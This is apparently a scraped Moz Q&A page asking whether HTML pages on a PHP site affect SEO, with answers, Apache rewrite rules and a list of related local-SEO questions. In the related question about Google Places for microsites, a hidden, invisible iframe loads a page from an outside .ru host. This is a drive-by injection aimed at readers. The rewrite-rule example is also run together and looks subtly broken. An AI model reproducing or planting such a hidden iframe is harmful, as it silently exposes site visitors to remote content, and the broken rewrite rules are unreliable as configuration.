HTML Page in PHP Website
-
Does having an HTML page in a PHP website affect SEO? I have a PHP website but one of my targeted pages have an HTML page. Will it cause any harm to the website or is it fine to have a html page in a PHP website?
-
Having different file types in of URLs in your site doesn't affect SEO. It may confuse you, and you may inadvertently link internally to pages that don't exist on your site, but there is no effect on SEO.
There is a way to parse HTML files as if they were PHP pages--but nowadays I don't recommend that. If you do have HTML pages on your site, you may just want to leave them alone. But if you do think you need to change or update their functionality, then setting up a 301 Permanent Redirect from the old HTML page to a new .PHP page, for example, will do just fine. It should not have any effect on rankings.
-
Hi plinggtre67,
This should have no direct effect on SEO. The reason is, PHP is server sided script, which is usually outputted as HTML anyway. HTML is what the browser actually reads.
If you are referring to some pages having .html extensions and some having .php, then from user's perspective that may have a slight impact on some users not knowing whats going on, but in general it shouldn't matter. If you would like a consistent look on the page extensions you can use an Apache URL re-write to remove the extensions all together (just like Moz does). You should notice no pages on Moz site have an actual .extension appended to them.
Example Code: @ StackOverflow
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.)$ $1.phpRewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.html -f
RewriteRule ^(.)$ $1.htmlI hope this makes sense and helps,
Don
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Using the Onpage Grader for Local Business websites
Hey Guys, Curious how people use the onpage grader for optimizing pages for local businesses specifically, I'm interested if people use keywords with or without a geo modifier since adding a geo modifier will prevent more natural writing to increase the score. If you don't use a geo modifier do you have some general rules of the city that needs to be in the H1 and first paragraph etc. Any tips for using the page grader for local businesses would be great Thanks!
Local Website Optimization | | solidlocal0 -
SERP: From page 4 to page 1 to page 4 again -_- ...
Hi there Moz Amigos! So I have this Website: campmusicaladagio.com Right now, our main target keyword is "camp de jour gatineau". The website was on WIX before. So, I created the worpress version and redirected the domain name to the new hosting server (outside of WIX). So before doing the changes, the website was on page 4... After the changes, it went in 1 week on page 1 (lol, WIX sucks so much). After 3 weeks on page 1, it went on page 4 again... I am so confused XD like what the hell happen... Any ideas?
Local Website Optimization | | Gab-SEO0 -
Client wants to rebrand but insists on keeping their old website live as well...
I am working with a client in the dental space that has an existing (11 year old) website for his practice. His domain is tied to his last name, which he would like to get away from because he plans to sell the practice in the next couple years. Backstory: Prior to taking him on, he was working with an SEO agency out of India that were built him quite an ugly backlink profile. Once we discovered it, we immediately notified him about the risk of a penalty if left alone. He was riding high in Google SERP's so of course, it was of no concern to him. Needless to say about a year ago he was inducted into Google's "manual penalty club" for suspicious links. His site vanished in Google and all! Hooray! But no, not really... We met with him to discuss the options, suggesting we clean up his backlink profile, then submit for reconsideration. Based on the time we told him it could take to make progress and be back up and running, he wasn't very excited about that approach. He said he wanted us to rebuild a new site, with a new domain and start fresh. In addition, he wanted keep his original site live since it is tied to his already thriving practice. To sum it all up, his goal is to keep what he has live since his customers are accustom to using his existing (penalized) website. While building a new brand/website that he can use to build a cleaner backlink profile and rank in Google as well as to sell off down the line without having his name tied to the practice. Question: Being that he has an existing site with the company NAP info throughout and the new site will also have the same NAP (just a different domain/brand), is there a "best way" to approach this? The content on the new site would be completely unique. I understand this approach is iffy but in his situation it makes sense to some extent. Any feedback or ideas on how to best handle having two sites running for the same dental practice? If any part of my question is confusing or you need further details to help make a suggestion, please fire away and I will be happy to give as much detail as possible. Thanks Mozzers!
Local Website Optimization | | Bryan_Loconto1 -
Should I mention locations in service-specific landing pages?
I'm writing new landing page copy for a client in the HVAC industry. The client has one office, but its service area includes several cities in a metropolitan area. I'm writing two types of pages: Service-specific landing pages (e.g. "Air Conditioner Repair," "Furnace Inspections") Location-specific pages (e.g. "Dallas Heating & Air Services," "Plano Heating & Air Services") My question is whether I should also include specific locations within the service-specific pages if I'm already doing the location-specific pages as well. For example, would it make sense to do a page on AC repair with title/H1 elements like "Dallas Air Conditioner Repair Service" or "Air Conditioner Repair in Plano and Dallas" in light of the fact that there will already be 10-12 location-specific pages? My preference is to NOT include location-specific stuff in the service landing pages except for maybe a passing reference to something like "...need HVAC services for your Dallas-area home" or similar. It just seems more natural that way. Thoughts?
Local Website Optimization | | Greenery1 -
Doorway Pages & Service Area Business
I see many national brand franchises that offers restoration services such as water damage (Servpro, Service Master etc.) There are local websites for each franchise. Each franchise has 50+ locations that they service They currently have pages like 'water damage + city' that have about 500-700 words each Some websites have 30- 100 location pages optimized for 'water damage city' These location pages do not have a physical offices None have duplicate content (word for word) above 20% The only different between these pages is perhaps 200 words about the city Example: www.servicecompany/water-damage-los-angeles www.servicecompany/water-damage-reseda www.servicecompany/water-damage-van-nuys Are these doorway pages?
Local Website Optimization | | MilestoneSEO_LA0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Rebranding a Website to a new Domain Name
Hi All, I'm looking to rebrand my current website to a new domain name.
Local Website Optimization | | Mark_Ch
In short the current website has out grown it's potential. The domain name is not memorable nor is it attracting a wider audience.
I will create my new website and 301 redirect the old website to the new, hence pass SEO value. Google Places
Having spoken to Google they tell me that I can simply change the URL in Google Places to the new URL. Articles on my current website
I have a number of rich content articles on my current website, can I simply create my new website and copy & paste these previously written articles? Google+, Twitter, Facebook, etc.
What should I do for accounts associated with the current website? Any other useful information would be much appreciated. Regards Mark0 -
Local Business Schema Markup on every page?
Hello, I have two questions..if someone could shed some light on the topic, I would be so very grateful! 1. I am still making my way through how schema is employed, and as I can tell, it is much more specific (and therefore relevant) in its details than using the data highlighter tool. Is this true? 2. Most of my clients' sites have a footer with the local business info included on every page of their site (address and phone). This said, I have been using the structured data markup helper to add local business schema to home page, and then including the footer markup in the footer file so that every page benefits from the local business markup. Is this incorrect to use it for every page? Also, I noticed that by just using the footer markup for the rest of the pages in the site, I am missing data that was included when I manually went through the index page (i.e. image, url, name of business). Could someone tell me if it is advisable and worth it to manually markup every page for the local business schema or if that should just be used for certain pages such as location, contact us, and/or index? Any tips or help would be greatly appreciated!!! Thanks
Local Website Optimization | | lfrazer0